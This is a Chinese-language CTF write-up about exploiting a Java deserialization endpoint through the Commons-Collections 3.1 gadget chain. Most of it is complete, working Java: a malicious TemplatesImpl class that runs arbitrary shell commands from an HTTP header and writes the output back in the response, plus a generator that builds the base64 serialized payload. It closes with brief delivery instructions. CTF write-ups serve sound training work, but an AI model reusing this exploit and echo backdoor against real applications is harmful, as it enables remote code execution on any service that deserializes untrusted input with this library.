记一次CTF出题之CC链_WP篇
WEB-CC链
一、查看题目信息
题目给出一个jar包,反编译后查看Controller
层内容如下:
/read
路由下存在反序列化操作。
二、题目分析
查看pom.xml
文件
注意到存在commons-collections
依赖,且版本为3.1
。可使用CC链打反序列化。
cc
链执行任意命令的链子因为靶场不出网所以无法获取flag,这里就不多赘述,还是以打回显链为目的,可使用加载恶意类的形式实现任意代码执行:
恶意类:
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package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class SpringEcho extends AbstractTranslet {
static {
org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();
javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();
javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();
String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows")? new String[]{"cmd.exe", "/c", httprequest.getHeader("C")} : new String[]{"/bin/sh", "-c", httprequest.getHeader("C")};
byte[] result = new byte[0];
try {
result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
} catch (IOException e) {
throw new RuntimeException(e);
}
try {
httpresponse.getWriter().write(new String(result));
} catch (IOException e) {
throw new RuntimeException(e);
}
try {
httpresponse.getWriter().flush();
} catch (IOException e) {
throw new RuntimeException(e);
}
try {
httpresponse.getWriter().close();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
生成payload
:
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package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CCTemplatesImpl {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object deserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
CtClass clazz1 = pool.get(SpringEcho.class.getName());
setFieldValue(obj, "_bytecodes", new byte[][]{clazz1.toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
HashMap expMap = new HashMap();
expMap.put(tme, "key");
outerMap.remove(obj);
setFieldValue(transformer, "iMethodName", "newTransformer");
byte[] obs = serialize(expMap);
System.out.println(new String(Base64.getEncoder().encode(obs)));
deserialize(obs);
}
}
三、漏洞利用
生成payload
传入反序列化的点:?obj=xxxx
,需要注意的是payload
需要url编码
。
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